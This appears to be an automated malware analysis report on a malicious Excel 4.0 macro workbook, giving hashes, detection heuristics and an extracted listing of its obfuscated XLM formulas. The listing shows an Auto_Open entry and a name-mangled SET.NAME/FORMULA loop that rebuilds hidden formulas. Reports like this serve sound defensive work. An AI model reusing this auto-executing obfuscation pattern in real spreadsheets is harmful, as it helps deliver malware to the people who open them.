Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 83eccc77a08d76f5…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:45:31 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 3d1b5b740513231bca0fd02049682436 SHA-1: 385c0d05377a037618fb4f37a368c23c469b426b SHA-256: 83eccc77a08d76f54b2de8321f32416a6677d2cd9ccdb7affacaf37ae1beb611
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6522 bytes
SHA-256: 1e4433d2f760b43ef6c395ce66abc288af81517183be2edc438390551458ba09
Detection
ClamAV: No threats found
Obfuscation or payload: likely
23 of 41 identifiers look randomly generated (e.g. 'OQuthCLpUnzZ') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  vkCGNjZ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B141 
' 0018     25 LABEL : Cell Value, String Constant - CTwyqwQBoF len=0 
' 0018     24 LABEL : Cell Value, String Constant - JfPGQLIkL len=0 
' 0018     26 LABEL : Cell Value, String Constant - KiceQpKdIxo len=0 
' 0018     24 LABEL : Cell Value, String Constant - KWfHZehbe len=0 
' 0018     25 LABEL : Cell Value, String Constant - lPiVHHfOew len=0 
' 0018     22 LABEL : Cell Value, String Constant - lZgjfDD len=0 
' 0018     26 LABEL : Cell Value, String Constant - MliLDkGQfqu len=0 
' 0018     26 LABEL : Cell Value, String Constant - NWkRvmiznHv len=0 
' 0018     23 LABEL : Cell Value, String Constant - NZchHtIl len=0 
' 0018     27 LABEL : Cell Value, String Constant - OQuthCLpUnzZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - oTlLdb len=0 
' 0018     25 LABEL : Cell Value, String Constant - pvSnKgXhfs len=0 
' 0018     24 LABEL : Cell Value, String Constant - QYDWlDfdU len=0 
' 0018     22 LABEL : Cell Value, String Constant - RNhKlXd len=0 
' 0018     21 LABEL : Cell Value, String Constant - txMkDH len=0 
' 0018     25 LABEL : Cell Value, String Constant - UtBacIbPSY len=0 
' 0018     23 LABEL : Cell Value, String Constant - vZvPfIVF len=0 
' 0018     22 LABEL : Cell Value, String Constant - YWQkHkA len=0 
' 0018     26 LABEL : Cell Value, String Constant - zAFtKPKunUI len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZYfFEW len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  vkCGNjZ,B59,"SET.NAME("QYDWlDfdU",VALUE("0"))",""
'  vkCGNjZ,B62,"SET.NAME("MliLDkGQfqu",QYDWlDfdU)",""
'  vkCGNjZ,B65,"SET.NAME("JfPGQLIkL",QYDWlDfdU)",""
'  vkCGNjZ,B69,"SET.NAME("NZchHtIl",COUNTA(UtBacIbPSY))",""
'  vkCGNjZ,B74,"SET.NAME("NWkRvmiznHv",COUNTA(oTlLdb))",""
'  vkCGNjZ,B76,[],""
'  vkCGNjZ,B78,"SET.NAME("ZYfFEW","")",""
'  vkCGNjZ,B80,"MliLDkGQfqu",""
'  vkCGNjZ,B85,"SET.NAME("KiceQpKdIxo",HLOOKUP("*",UtBacIbPSY,MliLDkGQfqu,FALSE))",""
'  vkCGNjZ,B87,"zAFtKPKunUI",""
'  vkCGNjZ,B92,"SET.NAME("YWQkHkA",QYDWlDfdU)",""
'  vkCGNjZ,B95,[],""
'  vkCGNjZ,B98,"YWQkHkA",""
'  vkCGNjZ,B100,"pvSnKgXhfs",""
'  vkCGNjZ,B103,"KWfHZehbe",""
'  vkCGNjZ,B108,"lZgjfDD",""
'  vkCGNjZ,B110,"SET.NAME("RNhKlXd",VALUE(HLOOKUP("*",oTlLdb,lZgjfDD,FALSE)))",""
'  vkCGNjZ,B113,"txMkDH",""
'  vkCGNjZ,B115,"ZYfFEW",""
'  vkCGNjZ,B118,"JfPGQLIkL",""
'  vkCGNjZ,B123,NEXT(),""
'  vkCGNjZ,B125,"vZvPfIVF",""
'  vkCGNjZ,B127,"SET.NAME("f",INT(T(FORMULA(T(ZYfFEW)&"",""&T(vZvPfIVF)))))",""
'  vkCGNjZ,B130,"OQuthCLpUnzZ",""
'  vkCGNjZ,B133,NEXT(),""
'  vkCGNjZ,B136,RETURN(),""
'  vkCGNjZ,B166,"SET.NAME("lPiVHHfOew",B59)",""
'  vkCGNjZ,B171,"UtBacIbPSY",""
'  vkCGNjZ,B173,"SET.NAME("oTlLdb",R99C12)",""
'  vkCGNjZ,B176,"SET.NAME("OQuthCLpUnzZ",184)",""
'  vkCGNjZ,B181,"SET.NAME("CTwyqwQBoF",2)",""
'  vkCGNjZ,B183,lPiVHHfOew(),""
'  vkCGNjZ,B184,HALT(),""

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